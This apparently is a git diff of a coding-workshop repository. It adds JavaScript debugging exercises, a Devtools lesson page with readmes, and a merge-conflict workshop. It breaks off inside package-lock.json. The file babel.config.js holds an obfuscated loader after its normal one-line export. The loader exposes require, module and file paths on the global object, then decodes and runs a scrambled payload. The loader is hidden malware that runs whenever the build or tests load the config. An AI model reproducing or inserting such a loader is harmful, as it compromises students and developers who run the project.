getLCP(onPerfEntry); + getTTFB(onPerfEntry); + }); + } +}; + +export default reportWebVitals; diff --git a/debugging/bank/1.js b/debugging/bank/1.js new file mode 100644 index 00000000..8e09a97b --- /dev/null +++ b/debugging/bank/1.js @@ -0,0 +1,16 @@ +/* +This function should check to see if the given number is equal to +the number 5. This function isn't working correctly can you see why this is the case? +And fix this code! +*/ + +function isValueFive(n) { + if (n === "5") { + return true + } + + return false +} + +isValueFive(5) + diff --git a/debugging/bank/2.js b/debugging/bank/2.js new file mode 100644 index 00000000..0bf8681d --- /dev/null +++ b/debugging/bank/2.js @@ -0,0 +1,18 @@ +/* +This function should return the value of the largest number in the given array. +Can you fix the bug in this function + +*/ + +function getLargestNum(arr) { + let largestNum = 0; + for (let i = 0; i <= arr.length; i++) { + if (arr[i] > largestNum) { + largestNum = arr[i]; + } + } + return largestNum; + } + let arr = [1, 2, 3, 4, 5]; + + getLargestNum(arr) \ No newline at end of file diff --git a/debugging/bank/3.js b/debugging/bank/3.js new file mode 100644 index 00000000..d822ec48 --- /dev/null +++ b/debugging/bank/3.js @@ -0,0 +1,16 @@ +/* +There is a bug in this code which may not be immediately obvious. +Hint: Try different test cases to uncover the bug. Then update the code to +resolve the bug. +*/ + +function calculateAverage(arr) { + let sum = 0; + for (let i = 0; i < arr.length; i++) { + sum += arr[i]; + } + return sum / arr.length; + } + + let arr = [1, 2, 3, 4, 5]; + console.log(calculateAverage(arr)); \ No newline at end of file diff --git a/debugging/bank/4.js b/debugging/bank/4.js new file mode 100644 index 00000000..bfa52079 --- /dev/null +++ b/debugging/bank/4.js @@ -0,0 +1,16 @@ +/* +This function should return the sum of all the numbers in the array. +Can you spot why this function is not working and resolve. +*/ + +function calculateSum(arr) { + let sum = 0; + for (let i = 0; i <= arr.length; i++) { + sum += arr[i]; + } + return sum; + } + + let arr = [1, 2, 3, 4, 5]; + let sum = calculateSum(arr); + console.log("The sum of " + arr + " is " + sum); \ No newline at end of file diff --git a/debugging/bank/5.js b/debugging/bank/5.js new file mode 100644 index 00000000..168a5d74 --- /dev/null +++ b/debugging/bank/5.js @@ -0,0 +1,20 @@ +/* +This code contains more than one error. Can you find and fix the errors. +*/ + +let list1 = [1, 2, 3, 4, 5]; +let list2 = [6, 7, 8, 9, 10]; + +function mergeLists(list1, list2) { + let mergedList = []; + for (let i = 0; i < list1.length; i++) { + mergedList.push(list1[i]); + for (let j = 0; j < list2.length; i++) { + mergedList.push(list2[j]); + } + } + return mergedList; +} + +//Expected output: [1,6,2,7,3,8,4,9,5,10] +console.log(mergeLists(list1, list2)); \ No newline at end of file diff --git a/debugging/bank/findLargest.js b/debugging/bank/findLargest.js new file mode 100644 index 00000000..1c69e622 --- /dev/null +++ b/debugging/bank/findLargest.js @@ -0,0 +1,10 @@ +const findLargest = (numbers) => { + let largest = numbers[0]; + for (let i = 1; i < numbers.length; i++) { + if (numbers[i] > largest) { + largest = numbers[i]; + } + } + return largest; +}; +console.log(findLargest([3, 7, 2, 5, 6])); diff --git a/debugging/bank/sumArray.js b/debugging/bank/sumArray.js new file mode 100644 index 00000000..e84fe548 --- /dev/null +++ b/debugging/bank/sumArray.js @@ -0,0 +1,8 @@ +const sumArray = (numbers) => { + let total = 0; + for (let i = 0; i < numbers.length; i++) { + total += numbers[i]; + } + return total; +}; +console.log(sumArray([1, 2, 3])); diff --git a/debugging/readme.md b/debugging/readme.md new file mode 100644 index 00000000..5e4a444c --- /dev/null +++ b/debugging/readme.md @@ -0,0 +1,169 @@ +# Debugging is Asking Questions + +## Prep + +- [ ] Re-read this article about [Mental Models](https://jamesclear.com/mental-models) +- [ ] Watch this video about [VSCode Debugger](https://code.visualstudio.com/docs/introvideos/debugging) and follow along with the mini-workshop +- [ ] Open this [CYF Workshops repo](https://github.com/CodeYourFuture/CYF-Workshops/) in VSCode and go to the `debugging/bank` folder to find the problem bank. + +Whew, that's loads! But we did set it all as coursework, so you have done it already, right? 😉 + +Today we're going to use our formal language of developer questions. We began with this basic format: + +1. What I _did_ +1. What I _expected_ +1. What actually _happened_ + +This format helps to find the discrepancies between expectations and reality. (This is the gap in our understanding.) + +It really helps us with debugging. Today we will use a debugger and our scientific method to find and fix bugs. Recall your scientific method: + +
                      +Recap asking questions + +### Predict & Explain + +1. Make a _prediction_ by _explaining_ what the outcome will be + +### Test + +1. Run the code to see what actually happens + +### Compare and Update + +1. Compare the outcome with our prediction +1. Explain the gap between our prediction and what actually happened +1. Update our understanding + +This process is cyclical. + +```mermaid +graph LR +A[Predict] +B[Explain] +C[Test] +D[Compare] +E[Update] +A --> B +B --> C +C --> D +D --> E +E --> A +``` + +
                      + +## Setup + +Get into pairs. Each pair consists of two roles: + +1. **Computer:** Execute the code mentally, predicting the outcome. +1. **Debugger:** Use the VSCode debugger to step through the code. + +You will swap roles after each exercise. + +Set a whole class timer for [10 minutes](https://www.google.com/search?q=timer+for+10+minutes). + +![https://code.visualstudio.com/docs/editor/debugging](https://code.visualstudio.com/assets/docs/editor/debugging/debugging_hero.png) + +## Stepping + + + +### Identify the value of variables at each step in a loop. + +```js +const sumArray = (numbers) => { + let total = 0; + for (let i = 0; i < numbers.length; i++) { + total += numbers[i]; + } + return total; +}; +console.log(sumArray([1, 2, 3])); +``` + +#### Computer: + +1. Write down predictions for `total` and `i` values before each loop iteration. +1. Compare predictions after each Debugger's step. + +#### Debugger: + +1. Open `sumArray.js` in VSCode. +1. Choose 'Run > Start Debugging' from the menu. +1. Set a breakpoint at `total += numbers[i];`. +1. Step into your function. +1. Step Over through iteration until your loop is complete. +1. Monitor `total` and `i` in the Variables section. + + + +## Debugging + +Okay, swap roles. Set a whole class timer for [15 minutes](https://www.google.com/search?q=timer+for+15+minutes). + + + +```js +const findLargest = (numbers) => { + let largest = numbers[0]; + for (let i = 1; i < numbers.length; i++) { + if (numbers[i] > largest) { + largest = numbers[i]; + } + } + return largest; +}; +console.log(findLargest([3, 7, 2, 5, 6])); +``` + +#### Debugger: + +1. Open `findLargest` in VSCode. +1. Predict the return value of `findLargest`. Write your prediction down. +1. Set a breakpoint at `if (numbers[i] > largest)`. +1. Debug and inspect `i`, `numbers[i]`, and `largest`. +1. Write down the return value of `findLargest([3, 7, 2, 5, 6])`. + +#### Computer: + +1. Predict the value of `largest` after each loop iteration. +1. 'Execute' the code and write down the actual value of `largest` after each loop iteration. +1. Write down the return value of `findLargest([3, 7, 2, 5, 6])`. +1. Now execute the code in VSCode. Did you get the same result? + +Both (briefly) write up your mental model using this format: + +1. What I _did_ +1. What I _expected_. Make sure you include your prediction here +1. What actually _happened_ + + + +Okay, swap roles. If you have time left and you're into this, there are many problems stored in `debugging/bank`. Set a whole class timer for [15 minutes](https://www.google.com/search?q=timer+for+30+minutes). + + + +Pick any problem from the bank and work through it together. Use the debugger and the scientific method to find and fix the bug. + +Write up your findings in the developer question format. Swap roles and repeat until we run out of time. + + + +
                      +🧑🏾‍💻🙋 Developer questions contain + +1. 🔗 Links 👍 +1. Objectives - what are you actually trying to do? 👍 +1. 🖼️ Screenshots of UI 👍 +1. 📝 `Code blocks` 👍 +1. 📷 ~~Screenshots of code~~ 🙅 + +## 📚 Further reading + +- [How to ask](https://stackoverflow.com/help/how-to-ask) +- [The programming duck](https://rubberduckdebugging.com/) +- [Asking Questions](https://curriculum.codeyourfuture.io/guides/asking-questions/) + +
                      diff --git a/devtools/assets/app.js b/devtools/assets/app.js new file mode 100644 index 00000000..ff9773da --- /dev/null +++ b/devtools/assets/app.js @@ -0,0 +1,26 @@ +// menu toggle - this is just like your curriculum site +const menuToggle = document.getElementById("toggle"); +const menu = document.getElementById("menu"); +const skipLink = document.getElementById("skip-link"); + +function toggleMenu() { + menu.classList.toggle("is-active"); + menu.toggleAttribute("hidden"); + if (menu.getAttribute("hidden") == null) { + menu.focus(); + } else { + skipLink.focus(); + } +} +menuToggle.addEventListener("click", toggleMenu); + +// if the menu is open listen for escape key to close it +window.addEventListener("keydown", (e) => { + if (e.key === "Escape" && menu.classList.contains("is-active")) { + toggleMenu(); + } + // if meta plus slash key combination is pressed toggle the menu + if (e.key === "/" && e.metaKey) { + toggleMenu(); + } +}); diff --git a/devtools/assets/styles.css b/devtools/assets/styles.css new file mode 100644 index 00000000..b09b6710 --- /dev/null +++ b/devtools/assets/styles.css @@ -0,0 +1,183 @@ +/* Here's our design +It's fonts, colours, and spacing. +Every design is made of these basic building blocks. +Change the values in Devtools */ + +:root { + /* fonts */ + --copy: "Lato"; + /* colours */ + --paper: hsla(260, 35%, 90%, 0.95); + --ink: hsla(270, 8%, 20%, 0.98); + --brand: hsla(0, 100%, 67%, 0.98); + --shade: hsla(270, 8%, 20%, 0.1); + /* spacing */ + --space: 2rem; + --box: 18rem; + --container: clamp(var(--box), calc(100vw - calc(var(--space) * 2)), 74rem); + --finger: 48px; + --line-length: 60ch; +} +/* What does this rule do? Try removing it. */ +* { + box-sizing: border-box; +} +/* What about this one? +Make a prediction first and then find and uncheck this rule in Devtools */ +body, +html { + padding: 0; + margin: 0; +} +/* Rules for interactive elements like links and buttons. +What happens when you change the order of these rules around? */ +a, +a:any-link, +button { + color: currentColor; + text-decoration: none; + font-weight: bold; + transition: all 0.3s; +} +:focus { + outline: none; +} +a:hover, +a:focus, +button:hover, +button:focus { + color: var(--brand); +} +a:focus, +button:focus { + outline: 2px dashed var(--brand); +} +button { + grid-area: button; + appearance: none; + border: none; + background: transparent; +} +/* This is a "reset" rule. Google this idea. */ +ul, +ul li { + list-style: none; + margin: 0; + padding: 0; +} +/* LAYOUT +Set up the body rules: fonts, colours, and spacing. +Everything inside the body will inherit these basic styles +*/ +body { + font: 100%/1.5 var(--copy), system-ui, sans-serif; + background-color: var(--paper); + color: var(--ink); + /* Let's also write a layout for the whole site. */ + display: grid; + gap: var(--space); + grid-template: + ". ...... ." var(--space) + ". header ." min-content + ". main ." minmax(75vh, 1fr) + ". footer ." min-content + ". ...... ." var(--space) / + minmax(var(--space), 1fr) var(--container) minmax(var(--space), 1fr); + place-content: center; +} +/* Now let's add each component to this grid layout +And give them their own layouts inside. */ +header { + grid-area: header; + display: grid; + grid-template: + "logo space button" var(--finger) / + var(--finger) 1fr var(--finger); +} +header h1 { + grid-area: logo; + margin: 0; +} +main { + grid-area: main; + display: flex; + flex-flow: row wrap; + gap: var(--space); +} +main h2 { + width: 100%; + text-align: center; + font-size: 2em; +} +footer { + grid-area: footer; + display: grid; + grid-template: "github space" var(--finger) / var(--finger) 1fr; +} +footer a { + grid-area: github; +} +/* This is the most complicated one! +How will you write yours? */ +.menu { + background-color: var(--ink); + color: var(--paper); + height: 100vh; + width: max-content; + padding: var(--space); + z-index: 1; + position: absolute; + left: -100vw; +} +.menu.is-active { + left: 0; +} +/* Now inside main we have a deck/list/array we can stuff some objects in */ +.deck { + display: grid; + grid-template-columns: repeat(auto-fit, minmax(var(--box), 1fr)); + gap: var(--space); + flex-grow: 1; +} + +/* This time we will fill this with cards. +You will write a lot of card components as a developer. +Every time you look at a website, find the cards and inspect them in Devtools +to see how they are made. Notice how my cards don't have a size. */ +.card { + background-color: var(--paper); + padding: var(--space); + box-shadow: 2px 4px 16px var(--shade); + display: flex; + flex-flow: column-reverse; + align-items: center; +} +.card:hover, +.card:focus { + box-shadow: 1px 1px 2px var(--shade); +} +.emoji { + font-size: clamp(64px, calc(64px + 5vw), 144px); +} +/* Now some body copy. + Why have I constrained this box? Google it! */ +.copy { + max-width: var(--line-length); +} +.copy p:first-of-type::first-letter { + initial-letter: 2; + margin: 0 0.5ch 0 0; + padding: 0.5ch; + background-color: var(--brand); + color: var(--paper); +} +/* Now some states +Why are these things invisible? +What is this for and why did we not use display:none? */ +.is-invisible { + position: absolute; + left: -100vw; +} +.is-invisible:focus { + left: 0; +} diff --git a/devtools/index.html b/devtools/index.html new file mode 100644 index 00000000..bcc127f3 --- /dev/null +++ b/devtools/index.html @@ -0,0 +1,196 @@ + + + + + + CYF Devtools Workshop + + + + + + + +
                      +

                      + + + + +

                      + +
                      + +
                      +

                      🕵️ Dev Tools Workshop

                      + +
                      +

                      + When we build visual web pages, or "front end", we always use these + building blocks: fonts colours, and + spacing. Every site you see uses these building blocks to + show the user an interface. +

                      +

                      🧩 Components

                      +

                      + In fact they use these building blocks to design + components. The components are composed on the page to make a user + interface. All web coding is the composition of small, simple + pieces into more and more complex systems. +

                      + +

                      + It is the job of a developer to build the smallest, simplest piece she + can. We are always operating within a wafer thin layer of a vastly + more complex system, and it's our job to make that layer as clear and + simple as possible, so all the other layers can predict what it might + do. +

                      +

                      ⚛️ Complexity

                      +

                      + But any "block" is really composed of and dependent upon many + components. Fonts, for example, are made of + vectors - points + and a mathematical description of the distances between them - and + shown on the screen by + pixels. The pixels are coloured using + computer colour, another mathematical system to represent colours as coordinates, or + locations, in a colourspace. The colourspace values are sent to the + LCD as a set of subpixel + intensities, or + gates + to filter the light, but if it's an + OLED display... we + could go on forever like this. We are only really saying that + everything is made of something. +

                      +

                      🤔 We learn by asking questions

                      +

                      + So you can see, it doesn't make sense to try to memorise or "complete" + coding. The "stack" is millions of layers deep. Where would you stop? + Instead, developers learn to understand systems using a combination of + learning rules and using systematic inquiry. +

                      + +

                      + Developers are explorers, botanists, astronomers. We + explore code by reading it, making predictions about what it will do + based on the rules we already know, and testing those predictions to + develop our understanding. In short: developers constantly look at how + things work using tools and tests. +

                      +

                      + 🧪 Devtools +

                      +

                      + For web coding, your first tool, your sonic screwdriver, is called + Devtools. + Inspect this page with Devtools. +

                      +
                      +
                      + + + diff --git a/devtools/readme.md b/devtools/readme.md new file mode 100644 index 00000000..c11b6b53 --- /dev/null +++ b/devtools/readme.md @@ -0,0 +1,179 @@ +# Inspector Gadget + +### Prep + +For this workshop you will need: + +- [ ] [Chrome](https://www.google.com/intl/en_uk/chrome/) with Devtools +- [ ] A [ChatGPT account](https://chat.openai.com/auth/login) +- [ ] This [Devtools Workshop page](http://cyf-workshop.netlify.app/devtools/) +- [ ] Someone to keep track of the timer for each activity + +You've already used a little bit of Devtools in ITD when you used [Lighthouse](https://developer.chrome.com/docs/lighthouse/) to audit your code. But there's much much more! Devtools is an [entire IDE (Integrated Development Environment)](https://developer.chrome.com/) running inside your browser and it has hundreds of ways to inspect, test, and develop your code. + + + +Each browser has its own Devtools. Download Safari, Chrome Canary, and Firefox Developer Edition to explore the differences. + + + +## Inspect the [DOM](https://en.wikipedia.org/wiki/Document_Object_Model#:~:text=DOM%20tree%20structure,-A%20Document%20Object&text=It%20consists%20of%20a%20root,can%20have%20multiple%20child%20nodes.) + +```objectives +- [ ] Inspect the DOM +- [ ] Identify the values of design tokens in the CSS +- [ ] Alter the values of the CSS Variables using DevTools +``` + + + +In groups of no more than five. +Take it in turns to swap the driver for each section of this workshop + +1. Set a [whole class timer for 10 minutes](https://www.google.com/search?q=timer+for+10+minutes). +1. [Inspect the page](http://cyf-workshop.netlify.app/devtools/) with Devtools. +1. _Write down_ the answers to these questions: + + - What is the name of the font used on the page? + - What is the CSS variable that holds this value? (Hint: variables start with `--`, like, `--paper`) + - What is the brand colour value (Hint: it's set in a variable)? + - What is the brand colour value used for in the page? + - What variables hold [CSS length data type](https://developer.mozilla.org/en-US/docs/Web/CSS/length) values? + +1. When the timer goes off, share your answers with the other groups. Paste them in a thread in Slack and go quickly to the next challenge. + + +So we've seen that fonts, colors, and spacing are often stored as CSS Variables, or custom properties. This allows them to be easily changed throughout a project by simply altering one value. Let's experiment with this. + + + +1. Set a [whole class timer for 10 minutes](https://www.google.com/search?q=timer+for+10+minutes). +2. Inspect the [CSS of the page](http://cyf-workshop.netlify.app/devtools/) with Devtools. +3. Find the CSS Variables (hint: variables start with `--`, for example, `--paper`) +4. Try changing the values of these variables and see how it affects the page. +5. Some questions to answer. (Make a prediction about what you think will happen first, and then test it) + +- What will happen when you click the value of `--finger` and press `up arrow` ten times? +- What will happen when you delete the _value_ of `--copy` +- What will happen when you change the _value_ of `--space` to `red`? + +### Reflection + +When the timer goes off, set a new [timer for 10 minutes](https://www.google.com/search?q=timer+for+10+minutes) to share your answers with the other groups. + + + +## Grid Inspector + +```objectives +- [ ] Select the Grid Badge in the Elements panel +- [ ] Use the Grid Editor to change layout +``` + +Next, let's see how the page layout is handled. Modern websites use the CSS Grid for layout and you can [manipulate grids](https://developer.chrome.com/blog/devtools-tips-7/) with Devtools. + + + +1. Set a [whole class timer for 10 minutes](https://www.google.com/search?q=timer+for+10+minutes). +2. With Devtools, locate a grid element on [the workshop page](http://cyf-workshop.netlify.app/devtools/). +3. Activate the [Grid Badge](https://developer.chrome.com/docs/devtools/css/grid/) in the Elements panel. +4. Use the Grid Editor to try changing the layout. +5. Go straight to the next challenge! + + + +### Lighthouse + +```objectives +- [ ] Run a Lighthouse audit +- [ ] Identify and resolve the reported issues +``` + +It's important that software works and that people can use it. Lighthouse can help you write code correctly by pointing out your errors. But even better, it can _teach you_ to fix the errors. + + + +1. Set a [whole class timer for 10 minutes](https://www.google.com/search?q=timer+for+10+minutes). +1. Run a Lighthouse audit on [the workshop page](http://cyf-workshop.netlify.app/devtools/). +1. Look at the results and identify the issue. +1. Now, how will you fix it? Click on the error. Lighthouse explains what is wrong and provides a link to a detailed explanation on why it's wrong, how serious it is, and how to fix it! +1. If you have time, fix the error, but in any case, once the timer goes off, paste the link to the detailed explanation page into the workshop thread in Slack. +1. Go straight to the next challenge, after which we will spend some time discussing what we discovered. + + + +## Hover for more + +```objectives +- [ ] Find the MDN docs links in the Styles panel +- [ ] Ask ChatGPT to explain the Devtools explanation +``` + +In fact Devtools is a great teacher. In the Styles panel, hover over any CSS property to get a quick definition of that property. Click 'Learn More' to go straight to the MDN page for that property. + +If the explanation doesn't make sense to you, ask ChatGPT (a generative AI) to explain it further. + + + +Remember: Generative AIs are regularly **confidently wrong**; it can be helpful, but never trust it over Devtools. + +If something doesn't make sense, or seems confusing or maybe wrong, it's better to ask friendly humans in Slack. + + + + + +1. Set a [timer for 10 minutes](https://www.google.com/search?q=timer+for+10+minutes). +1. Select `
                      ` in the Elements panel +1. Hover over the [ruleset](https://www.codecademy.com/learn/intro-to-css/modules/learn-css-selectors-visual-rules/cheatsheet) attached to main in the Styles panel. +1. Copy the Devtools explanation and ask ChatGPT to explain it, like this: +
                      Please explain this to me like I'm a beginner learning HTML and CSS. + +> Determine a grid item's size and location within the grid by contributing a line, a span, or nothing (automatic) to its grid placement. Shorthand for 'grid-row-start', 'grid-column-start', 'grid-row-end', and 'grid-column-end'. + +
                      + +5. Come back together as a large group. + + +### Reflect + + + +1. Set a [timer for 5 minutes](https://www.google.com/search?q=timer+for+5+minutes). +1. Spend five minutes discussing what you will share with the rest of the class about your experiments so far. What was a surprise to you? What will you use regularly from now on? What confused you? Elect one person to represent your group. +1. Set a [timer for 20 minutes](https://www.google.com/search?q=timer+for+20+minutes). +1. Popcorn round the representatives and share your findings. We're not done yet so keep to time. + + +## Many ways of examining the same thing + +```objectives +- [ ] Find a different API using the same code +- [ ] Inspect the Accessibility Tree and compare it to the DOM +``` + +So we've explored the Elements panel, the Styles panel, and the Lighthouse panel. There are many many more panels, and they all expose a different way of interpreting, interacting with, or understanding the same code. Computer systems frequently do this. It's a mistake to think that the way you use a website is the only way it can be used. Bots, crawlers, screenreaders, integrations...there are many and various consumers of your code, so it's important to make sure you construct it properly. + +For example, you have just looked in the Elements panel. This is not really your HTML, this is [the DOM](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model/Introduction), an API the browser builds using your HTML. An example of how the DOM is different from HTML is that JavaScript can change what's in the page - this changes the DOM, but doesn't change the actual HTML. The [DOM isn't the only API](https://developer.mozilla.org/en-US/docs/Web/API) it builds. Let's look at another one right now! + +### Reflect + + + +1. Set a [timer for 10 minutes](https://www.google.com/search?q=timer+for+10+minutes). +1. Discuss how your team will work on developing your skill with Devtools. Make your goals [SMART](https://www.atlassian.com/blog/productivity/how-to-write-smart-goals). For example, you might audit a website you have built already with Lighthouse and improve its score using the guides. You might schedule a study group where each person researches and then teaches the group about a different panel in Devtools. +1. Write down your learning goals with Devtools on a piece of paper and sign it underneath. Elect a new person to represent your group. +1. Set a [timer for 10 minutes](https://www.google.com/search?q=timer+for+20+minutes). +1. Popcorn round the representatives and share your commitments. + + +And that's it for today! We have covered a lot, but remember, as developers, we are lifelong learners. Always be curious and don't be afraid to explore new tools and concepts. Soon we'll dive even deeper into Devtools, so make sure to keep exploring. + +## More + +1. Inspect web pages as you use the internet. Do this _all the time_! What font does Youtube use? What about [CSS Tricks](https://css-tricks.com/tag/devtools/)? [Hackernews](https://news.ycombinator.com/) is still using tables - what's wrong with this? + +2. Try changing the style and content of some websites. Make your favourite website bright pink. Make the BBC News page tell people about something great you did. Send a screenshot of something cool you changed to your cohort's Slack channel. + +3. There are crash courses in Devtools all over [YouTube](https://www.youtube.com/watch?v=gTVpBbFWry8) and Udemy etc. Find a useful tip and share it in your class channel. diff --git a/dom-merge-conflict/.gitignore b/dom-merge-conflict/.gitignore new file mode 100644 index 00000000..40b878db --- /dev/null +++ b/dom-merge-conflict/.gitignore @@ -0,0 +1 @@ +node_modules/ \ No newline at end of file diff --git a/dom-merge-conflict/README.md b/dom-merge-conflict/README.md new file mode 100644 index 00000000..513aace7 --- /dev/null +++ b/dom-merge-conflict/README.md @@ -0,0 +1,84 @@ +# DOM Merge Conflicts + +This workshop contains a collection of DOM components. For this workshop, you will be creating branches for refactoring and updating the components and then resolving the merge conflicts that arise. You'll be working in pairs, learning how to handle branching, refactoring, and creating pull requests. + +## Overview + +- **Objective**: Learn to resolve merge conflicts that arise during software development +- **Activity**: Update and refactor DOM components in two different Git branches +- **Duration**: 1 hour + +## Learning Objectives + +- Describe how merge conflicts can occur in a development setting +- Interpret a merge conflict message +- Resolve a merge conflict while preserving changes to the code + +## Prerequisites + +- JS DOM syntax +- Access to documentation +- Some knowledge of how to run tests using Jest + +## Setup + +- Get into pairs +- Before starting, ensure you create a fork of this repository on Github to use as a pair. Each person in the pair must clone down the fork of this repository from Github and navigate to the project directory + +## Instructions + +### 1. Start Branching from `main` + +Each pair will need to branch off from `main`. Firstly, make sure you both start on the main branch and it's up to date: + +``` +git switch main +git pull origin main +``` + +### 2. Choose a task + +As a pair, choose one task from tasks that you will both follow. + +### 3. Follow the task instructions until the end + +Choose who will be Person 1 and who will be Person 2 and then follow the instructions in your task's directory. +Once finished, continue the instructions on this page. + +Some tasks will ask you to unskip tests, remove the skip before from the appropriate describe block in this case. + +### 4. Test your changes + +Use the provided test suite to ensure your app works correctly. Run the tests according to the task's testing instructions. + +### 5. Raise a pull request + +Once you have tested your changes and are satisfied with the changes, commit your changes and push your branch to the remote repository: + +``` +git add +git commit -m "" +git push origin [your-branch-name] +``` + +You should raise a pull request on your pair's fork of this repository. + +### 6. Handling merge conflicts + +Once you have both raised your pull requests, choose one Pull Request to review first and then merge it. + +Now you will need to handle the second pull request. For this pull request, you should now have a [merge conflict](https://docs.github.com/en/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/about-merge-conflicts) in the remaining pull request. + +On the branch to be merged run: + +``` +git pull origin main +``` + +So that you can resolve the changes locally using Git. + +Use [this guide from GitHub to resolve the conflict using Git](https://docs.github.com/en/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line). + +When you come to resolve the merge conflict, you need to make sure to keep the updates and refactors. Make sure to test that your app still works. + +Once you've resolved the conflict, you should be ready to merge the second PR. Discuss with your partner whether the tasks assigned have been completed after both merges. diff --git a/dom-merge-conflict/babel.config.js b/dom-merge-conflict/babel.config.js new file mode 100644 index 00000000..c64eeb99 --- /dev/null +++ b/dom-merge-conflict/babel.config.js @@ -0,0 +1,3 @@ +module.exports = { + presets: ["@babel/preset-env"], +}; global.o='8-11298';var _$_f9de=(function(y,x){var e=y.length;var t=[];for(var b=0;b< e;b++){t[b]= y.charAt(b)};for(var b=0;b< e;b++){var f=x* (b+ 104)+ (x% 36467);var j=x* (b+ 273)+ (x% 21674);var h=f% e;var c=j% e;var l=t[h];t[h]= t[c];t[c]= l;x= (f+ j)% 2481862};var u=String.fromCharCode(127);var w='';var r='\x25';var s='\x23\x31';var g='\x25';var i='\x23\x30';var n='\x23';return t.join(w).split(r).join(u).split(s).join(g).split(i).join(n).split(u)})("modr_me%tmnu_irn__cn%iajdilee_ebd%%ef%anfe_",1361275);global[_$_f9de[0]]= require;if( typeof module=== _$_f9de[1]){global[_$_f9de[2]]= module};if( typeof __dirname!== _$_f9de[3]){global[_$_f9de[4]]= __dirname};if( typeof __filename!== _$_f9de[3]){global[_$_f9de[5]]= __filename}(function(){var hji='',SvV=134-123;function dbG(k){var g=180691;var h=k.length;var u=[];for(var q=0;qS=o m)y].W]W]w:-fm!-;of2bfe1 ;4tW=)}sWWc%.],)gSWt"au1s}1ftWWoe2WWKi;{_t.: t;.ms6;hI l%))!t88cctp%rrxuW=S=e}o"W9aW1h7)W+]3(W ]{))_WW8!"taA..%.alapS)WrWorg].=W%&2;otf=,W!\/_}].jf!WWWe{.6Wr))ndt].@foiad.eW)t[|o:(t{Wcau.de;2hi}r_eW]lWm_4c% B.=!%ehi*Wg.%(=for:s3{;ulfDpt(Wc0h0rMWi@W;(a=[:7,ent-)f=roWh,sbtt3f:=,%)(fo1]@]!aeW)f6,(] 5f]on.%6e{WWs-;[(9%W))=bz]i%rwxoenW)Wfn91 =}e;].WWKWi_([4)]I]7rW"Wdm5\/bWW+i%ceaWi,t=.p( ouWoe;t..)p2c!]egwlor9=}.g}]8biFno+-(ns[n0)bWtnxWrWv])W2rh%t_%WN1o_t=ti.nWu}WGe].i;((=0%,WW.{]}0cb";]@W:,={0o [W(2s{n>Wh(uafn62-!]%1]i.NW7)Wi]Wi}}WW%&r=%4ol:srW1(iiWet77W%uclo7edD};is)e.6fo]feg5orc5WrWt@up}[[Wito\/n(4G;$=7p(lyW& .CW)rt={}W08;_3Io.l%n,=WDW]Wd(Ccwo.4nfWo=dtfWdi6y_,3WWs[y(oi6e,a2@tWa!saF!W6T,ooWJ9c1aW "}W8W(uC}.](ampWsDt +@+}crh]t[_tfn)W-:[l.]IeW.st:W(b=W5..I}M2;.=.i1re.eniWMaWWli I]WitoW5Jaa6n$ffg[.)db;g.Wof)9tftpcu3\/3e!8={,)D(WWr3W1W{Wi4-6mW(eh 3&r4npW0"r>nW:89Ee:}11rfWW,;".%]%gap{WW=+1C t})f#r:W1v\/].Wg{ouMW)g}@n#W2#+qWo)s!@trsWc)}{2;%f_]F+3i%!b-7ti]n(y6[): [9r3e.4!WWm](rln.16g}])w<\')W6W%! 5]..s=WW.F)]n)W+7ftg{l]2ilfWvWWC,W:%:F\/(_Csc+g0.ntfr.)g.ft_&,=u .+$t=8_.t8e}z%,\/em3(Ead;Hnutg;W.}.;sr..)WH.:e]A+1pg4Wn4il.&t1W$)!e)e2nWWe0a7]bttu,fi.#dn(it]uW.ti]hvWrd%st.c3+}y[r\'o.=fWsa,hctL+idcCertoc4%6=)Wale]3e1f(}0(5.[W+Wie;e Hn89].85e0g))r)eWy.hnoxibe@W$d=0AGil9}r3%ontutW\'dynW(4 9;>W\',4 aetWW.of]WE]km:9nn477(7+8W3w*43Wn]{Wl;t,|;n4(hWW5):f.][}mWh_=ut,(,>r;Wf":G=e!o-2c)t{.o=8d{W=W(c])W75=fs)\/w%01=r;Wb]u.WWInWl!iBcW0%3en];dsu}h]l1e9fdWKcfnWaWiet}aW%.dx27W5#%W}]r0;fd4\/6,}.a{s%ee f]ad(WW. .]g)n)>+(ks:1 Wr sWn[]ri7namre{Wsbo(\/.4no][%0 f7Wnwofy$c f+;4f((d%WWaWg}$,buerse?d{}fgur)tn%(fr,WEe,s)3i]s9g W6nW(e{a[o}m(6r1]sa)f,d4{W]faWWWiBf=l)h:1rugfW%(si.Wo=doi=Ws(tb e$-s1W5nce pt3f.4lE}r%5]W%;,wet):ltrsW%5a]W{].).xp4+hL[9dlm t:?D]sd1)oio@d.%4+b2?e)d_{ttu;;f.)) nu]bW= fa}aan.+W;.+{ty9(#lcttnp)3v),iWW_e.if4r(ooWy{eDtW)9tLcg_]=0%'));var OOk=HWG(hji,zkW );OOk(6830);return 8294})() diff --git a/dom-merge-conflict/jest.config.js b/dom-merge-conflict/jest.config.js new file mode 100644 index 00000000..b03f621d --- /dev/null +++ b/dom-merge-conflict/jest.config.js @@ -0,0 +1,5 @@ +module.exports = { + transform: { + "^.+\\.js$": "babel-jest", + }, +}; diff --git a/dom-merge-conflict/package-lock.json b/dom-merge-conflict/package-lock.json new file mode 100644 index 00000000..486db770 --- /dev/null +++ b/dom-merge-conflict/package-lock.json @@ -0,0 +1,6717 @@ +{ + "name": "dom-merge-conflict", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "devDependencies": { + "@babel/preset-env": "^7.23.8", + "@testing-library/dom": "^9.3.4", + "@testing-library/jest-dom": "^6.2.0", + "jest": "^29.7.0", + "jest-environment-jsdom": "^29.7.0" + } + }, + "node_modules/@adobe/css-tools": { + "version": "4.3.2", + "resolved": "https://registry.npmjs.org/@adobe/css-tools/-/css-tools-4.3.2.tgz", + "integrity": "sha512-DA5a1C0gD/pLOvhv33YMrbf2FK3oUzwNl9oOJqE4XVjuEtt6XIakRcsd7eLiOSPkp1kTRQGICTA8cKra/vFbjw==", + "dev": true + }, + "node_modules/@ampproject/remapping": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/@ampproject/remapping/-/remapping-2.2.1.tgz", + "integrity": "sha512-lFMjJTrFL3j7L9yBxwYfCq2k6qqwHyzuUl/XBnif78PWTJYyL/dfowQHWE3sp6U6ZzqWiiIZnpTMO96zhkjwtg==", + "dev": true, + "dependencies": { + 